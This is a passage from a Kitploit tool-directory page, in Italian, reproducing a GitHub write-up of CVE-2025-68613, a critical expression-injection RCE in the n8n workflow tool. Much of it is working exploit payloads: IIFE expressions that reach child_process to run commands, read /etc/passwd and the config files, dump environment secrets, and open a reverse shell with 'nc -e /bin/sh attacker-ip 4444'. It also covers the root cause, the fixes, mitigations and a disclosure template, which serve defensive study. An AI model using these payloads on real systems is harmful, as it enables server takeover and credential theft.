Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-68613-poc-via-copilot — Analisi della vulnerabilità CVE-2025-68613 assistita da GitHub Copilot | Kitploit
Strumenti/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Analisi della vulnerabilità CVE-2025-68613 assistita da GitHub Copilot

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
8 mesi faNon ancora revisionato

✅ CVE-2025-68613 n8n — Analisi completa della vulnerabilità RCE da injection di espressioni

Data: 23 dicembre 2024 Stato: ✅ RCE completamente verificata con successo Punteggio CVSS: 10.0 (Critico)


🎉 Payload RCE di successo

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Risultato dell'esecuzione: restituisce correttamente le informazioni sull'utente di sistema (ad es. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Analisi approfondita del principio della vulnerabilità

Vulnerabilità principale: il contesto this delle funzioni a esecuzione immediata (IIFE) non è sanitizzato

1. Flusso di valutazione dell'espressione

root@kitploit:~
用户输入
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
创建 data 上下文对象
  ↓
data.process = 真实的 process 对象引用
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 关键: this = data
  ↓
立即执行函数执行
  ↓
this.process.mainModule.require ← ⚠️ 访问真实 require
  ↓
加载 child_process 模块
  ↓
execSync('id') ← 🔥 完整 RCE!

2. Posizioni chiave del codice

Posizione 1: creazione del contesto dati

File: packages/workflow/src/expression.ts Funzione: Expression.resolveSimpleParameterValue() Righe: circa 230-290

root@kitploit:~
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
Posizione 2: valutazione Tournament

File: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Posizione 3: mancata sanitizzazione di this

File: packages/workflow/src/expression-sandboxing.ts

Prima della v1.122.0:

root@kitploit:~
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

Dalla v1.122.0 in poi:

root@kitploit:~
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
Posizione 4: blacklist delle proprietà incompleta

File: packages/workflow/src/utils.ts Funzione: isSafeObjectProperty()

Prima della v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

Dalla v1.122.0 in poi:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 Tecniche di sfruttamento complete

1. RCE di base

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Esecuzione di comandi arbitrari

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Accesso al file system

root@kitploit:~
// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Divulgazione completa delle variabili d'ambiente (in combinazione con le scoperte precedenti)

root@kitploit:~
// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. Accesso di rete (preparazione della reverse shell)

root@kitploit:~
// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Riepilogo dei risultati della verifica della vulnerabilità

✅ Vettori d'attacco confermati e sfruttabili

❌ Attacchi bloccati (nei tuoi test)

#Tipo di attaccoMotivo
1require direttoNon disponibile nel nuovo scope
2process nel costruttore Functionthis viene sanitizzato in alcuni contesti
3process.binding / process._load

🎯 Sinergia delle tre vulnerabilità chiave

Vulnerabilità 1: variabili d'ambiente non protette

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ 成功
  • N8N_BLOCK_ENV_ACCESS_IN_NODE non è impostata su true
  • Tutte le variabili d'ambiente sono leggibili

Vulnerabilità 2: bypass dell'accesso al costruttore

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ 成功
  • Le template string con backtick bypassano i controlli AST
  • È possibile creare il costruttore Function

Vulnerabilità 3: this dell'IIFE non sanitizzato

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ 成功
  • this nelle funzioni a esecuzione immediata punta ancora al contesto dati originale
  • this.process.mainModule.require è accessibile

La combinazione delle tre = RCE completa!


🛡️ Misure di correzione nella v1.122.0

Fix 1: hook FunctionThisSanitizer

root@kitploit:~
// 新增的 AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// 遍历所有函数表达式
	// 重写函数,强制绑定 this 到 { process: {} }
	// 这样即使是 IIFE,this 也是安全的空对象
};

Fix 2: estensione della blacklist delle proprietà non sicure

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← 新增
	'binding',       // ← 新增
	'_load'          // ← 新增
]);

Fix 3: protezione delle variabili d'ambiente abilitata per impostazione predefinita (ipotesi)

root@kitploit:~
// 可能将默认值改为 true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Valutazione dell'impatto

Punteggio CVSS v3.1: 10.0 (Critico)

Stringa del vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Punteggio base: 10.0 (massimo)

Impatto reale

Cosa può fare un attaccante:

  1. ✅ Leggere tutte le variabili d'ambiente (password del database, chiavi API, ecc.)
  2. ✅ Eseguire comandi di sistema arbitrari
  3. ✅ Leggere/scrivere sul file system
  4. ✅ Accedere al database
  5. ✅ Spostarsi lateralmente verso altri sistemi
  6. ✅ Installare backdoor persistenti
  7. ✅ Rubare tutti i workflow e le credenziali
  8. ✅ Assumere il controllo completo dell'istanza n8n

Deployment interessati:

  • Tutte le istanze n8n < v1.122.0
  • Istanze in cui N8N_BLOCK_ENV_ACCESS_IN_NODE=true non è impostata
  • Istanze che consentono agli utenti non amministratori di creare workflow

🚨 Raccomandazioni urgenti di correzione

Azione immediata (amministratori)

1. Configurare la protezione delle variabili d'ambiente (1 minuto)

root@kitploit:~
# 方法 1: 导出环境变量
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# 方法 2: 在 .env 文件中
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# 方法 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Aggiornare all'ultima versione (5-10 minuti)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# 验证版本
n8n --version  # 应该 >= 1.122.0

3. Revisionare i workflow esistenti (1 ora)

root@kitploit:~
-- 如果使用 PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Limitare i privilegi (30 minuti)

  • Disabilitare i permessi di modifica dei workflow per gli utenti non amministratori
  • Implementare un processo di approvazione dei workflow
  • Abilitare i log di audit

5. Isolare il deployment (continuo)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Divulgazione responsabile

Raccomandazioni per la divulgazione

Contattare il team di sicurezza di n8n

root@kitploit:~
收件人: [email protected]
主题: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

严重性: CVSS 10.0 (Critical)
影响版本: n8n < 1.122.0

概述:
发现了一个严重的 RCE 漏洞,允许认证用户通过立即执行函数(IIFE)
访问 process.mainModule.require,从而执行任意系统命令。

验证的 PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

根本原因:
1. IIFE 中的 this 未被 sanitize
2. process.mainModule 未被封禁
3. N8N_BLOCK_ENV_ACCESS_IN_NODE 默认为 false

建议修复:
1. 实施 FunctionThisSanitizer hook
2. 添加 mainModule, binding, _load 到黑名单
3. 默认启用环境变量保护

详细分析请见附件。

Cronologia della divulgazione

  1. T+0 (oggi): notifica privata al team di sicurezza di n8n
  2. T+7 giorni: verifica di follow-up
  3. T+30 giorni: assistenza alla verifica se è disponibile una patch
  4. T+90 giorni: divulgazione pubblica (se corretto)

🏆 Riepilogo della scoperta

I tuoi contributi principali:

  1. ✅ Scoperta e verifica della vulnerabilità RCE completa
  2. ✅ Identificazione della tecnica di bypass tramite template string con backtick
  3. ✅ Conferma della vulnerabilità del contesto this nelle IIFE
  4. ✅ Fornitura di un PoC funzionante
  5. ✅ Completamento dell'analisi tecnica dettagliata

Valore della vulnerabilità:

  • Valore tecnico: molto alto (CVSS 10.0)
  • Ambito di impatto: ampio (tutte le istanze precedenti alla v1.122.0)
  • Difficoltà di sfruttamento: bassa (è sufficiente una singola espressione)
  • Costo di correzione: medio (richiede modifiche al codice e aggiornamento della versione)

Data di creazione: 23 dicembre 2024 Stato della vulnerabilità: ✅ completamente verificata con successo Punteggio CVSS: 10.0 (Critico) Raccomandazione: divulgare e correggere immediatamente

🎉 Congratulazioni, hai scoperto una vulnerabilità RCE da punteggio pieno! Gestiscila e divulgala in modo responsabile! 🔒

Scarica lo strumento
#Tipo di attaccoPayloadStatoCVSS
1Divulgazione variabili d'ambiente{{ Object.keys(process.env) }}✅ Successo8.5
2Bypass del costruttore{{ [][constructor] }}✅ Successo8.0
3Costruttore Function{{ [][constructor][constructor] }}✅ Successo8.5
4Esecuzione di codice{{ [][constructor][constructor]('return 1+1')() }}✅ Successo9.0
5RCE completa{{ (function() { this.process.mainModule.require... })() }}✅ Successo10.0
Probabilmente bloccati o limitati
MetricaValoreDescrizione
Vettore d'attacco (AV)Rete (N)Sfruttabile da remoto
Complessità d'attacco (AC)Bassa (L)Sfruttamento semplice
Privilegi richiesti (PR)Bassi (L)Richiede solo utente autenticato
Interazione utente (UI)Nessuna (N)Nessuna interazione utente richiesta
Scope (S)Modificato (C)Impatta il sistema sottostante
Riservatezza (C)Alta (H)Divulgazione totale delle informazioni
Integrità (I)Alta (H)Controllo totale del sistema
Disponibilità (A)Alta (H)Interruzione totale del servizio